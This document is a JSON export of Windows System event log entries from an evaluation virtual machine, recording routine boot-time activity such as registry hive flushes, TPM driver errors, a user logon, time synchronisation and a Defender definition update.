{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501087Z"}},"EventRecordID":2871,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:10246/MDEServer/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.501091Z"}},"EventRecordID":2872,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":224}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:10247/apps/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.566456Z"}},"EventRecordID":2873,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2832,"ThreadID":2932}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":119,"HiveName":"\\??\\C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Windows\\DeliveryOptimization\\State\\dosvcState.dat","KeysUpdated":76,"DirtyPages":24}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Service Control Manager","Guid":"{555908d1-a6d7-4695-8e1e-26931d2012f4}","EventSourceName":"Service Control Manager"}},"EventID":{"#attributes":{"Qualifiers":49152},"#text":7026},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.778908Z"}},"EventRecordID":2874,"Correlation":null,"Execution":{"#attributes":{"ProcessID":788,"ThreadID":792}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"param1":"\r\ndam"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-TPM-WMI","Guid":"7D5387B0-CBE0-11DA-A94D-0800200C9A66"}},"EventID":1796,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:09.119348Z"}},"EventRecordID":2875,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4284,"ThreadID":4728}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HResult":-2147020471}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:09.382205Z"}},"EventRecordID":2876,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3112,"ThreadID":4388}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":45,"HiveName":"\\??\\C:\\Windows\\AppCompat\\Programs\\Amcache.hve","KeysUpdated":2325,"DirtyPages":817}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":18,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.184716Z"}},"EventRecordID":2877,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":260}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x14","lineNumber":217,"Data":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.215298Z"}},"EventRecordID":2878,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3312,"ThreadID":4292}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.215465Z"}},"EventRecordID":2879,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3312,"ThreadID":4292}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.226672Z"}},"EventRecordID":2880,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3312,"ThreadID":4292}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.227571Z"}},"EventRecordID":2881,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3312,"ThreadID":4292}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-TPM-WMI","Guid":"7D5387B0-CBE0-11DA-A94D-0800200C9A66"}},"EventID":1282,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.287657Z"}},"EventRecordID":2882,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3312,"ThreadID":4292}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-TPM-WMI","Guid":"7D5387B0-CBE0-11DA-A94D-0800200C9A66"}},"EventID":1025,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.313894Z"}},"EventRecordID":2883,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3312,"ThreadID":4292}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.315613Z"}},"EventRecordID":2884,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3312,"ThreadID":4292}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:11.315666Z"}},"EventRecordID":2885,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3312,"ThreadID":4292}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.133492Z"}},"EventRecordID":2886,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1744,"ThreadID":1956}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":28,"HiveName":"\\??\\C:\\Users\\User\\ntuser.dat","KeysUpdated":708,"DirtyPages":135}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.146126Z"}},"EventRecordID":2887,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1744,"ThreadID":1956}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":62,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat","KeysUpdated":1308,"DirtyPages":173}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:20.237439Z"}},"EventRecordID":2888,"Correlation":null,"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":63,"HiveName":"\\??\\C:\\Windows\\system32\\Microsoft\\Protect\\Recovery\\Recovery.dat","KeysUpdated":1,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Winlogon","Guid":"DBE9B383-7CF3-4331-91CC-A3CB16A3B538"}},"EventID":7001,"Version":0,"Level":4,"Task":1101,"Opcode":0,"Keywords":"0x2000200000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:23.931240Z"}},"EventRecordID":2889,"Correlation":null,"Execution":{"#attributes":{"ProcessID":720,"ThreadID":1460}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"TSId":1,"UserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":15,"Version":0,"Level":4,"Task":10,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.566043Z"}},"EventRecordID":2890,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":35,"HiveName":"\\SystemRoot\\System32\\config\\DRIVERS","OriginalSize":5050368,"NewSize":4620288}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:26.957220Z"}},"EventRecordID":2891,"Correlation":null,"Execution":{"#attributes":{"ProcessID":6192,"ThreadID":6248}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":103,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat","KeysUpdated":5,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Time-Service","Guid":"06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB"}},"EventID":37,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:28.580202Z"}},"EventRecordID":2892,"Correlation":null,"Execution":{"#attributes":{"ProcessID":6552,"ThreadID":6580}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":{"#attributes":{"Name":"TMP_EVENT_TIME_SOURCE_REACHABLE"},"TimeSource":"time.windows.com,0x9 (ntp.m|0x9|0.0.0.0:123->20.101.57.9:123)"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:30.450059Z"}},"EventRecordID":2893,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4280}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":163,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.22621.3527_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:30.667668Z"}},"EventRecordID":2894,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":144,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\MicrosoftWindows.Client.CBS_1000.22700.1009.0_x64__cw5n1h2txyewy\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:30.762020Z"}},"EventRecordID":2895,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4280}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":114,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:31.147101Z"}},"EventRecordID":2896,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":104,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\\Settings\\settings.dat","KeysUpdated":16,"DirtyPages":6}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:38.875957Z"}},"EventRecordID":2897,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2876,"ThreadID":5048}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.421.1175.0) - Current Channel (Broad)","updateGuid":"ADF9EA27-820E-4C28-9E3A-0A3DA00FFB27","updateRevisionNumber":200}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:42.602012Z"}},"EventRecordID":2898,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":114,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\\Settings\\settings.dat","KeysUpdated":2,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:43.929450Z"}},"EventRecordID":2899,"Correlation":null,"Execution":{"#attributes":{"ProcessID":932,"ThreadID":1012}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":122,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\\SystemAppData\\Helium\\User.dat","KeysUpdated":5,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:43.930630Z"}},"EventRecordID":2900,"Correlation":null,"Execution":{"#attributes":{"ProcessID":932,"ThreadID":1012}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":129,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\\SystemAppData\\Helium\\UserClasses.dat","KeysUpdated":4,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:44.487384Z"}},"EventRecordID":2901,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3716,"ThreadID":6996}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":118,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat","KeysUpdated":9,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:47.425024Z"}},"EventRecordID":2902,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7116,"ThreadID":8208}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":91,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\MicrosoftTeams_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:49.078048Z"}},"EventRecordID":2903,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4280}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":106,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":2,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:51.241772Z"}},"EventRecordID":2904,"Correlation":null,"Execution":{"#attributes":{"ProcessID":6252,"ThreadID":6244}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:51.245673Z"}},"EventRecordID":2905,"Correlation":null,"Execution":{"#attributes":{"ProcessID":6252,"ThreadID":6244}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:51.294236Z"}},"EventRecordID":2906,"Correlation":null,"Execution":{"#attributes":{"ProcessID":6252,"ThreadID":6244}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:51.298009Z"}},"EventRecordID":2907,"Correlation":null,"Execution":{"#attributes":{"ProcessID":6252,"ThreadID":6244}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:51.343041Z"}},"EventRecordID":2908,"Correlation":null,"Execution":{"#attributes":{"ProcessID":6252,"ThreadID":6244}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
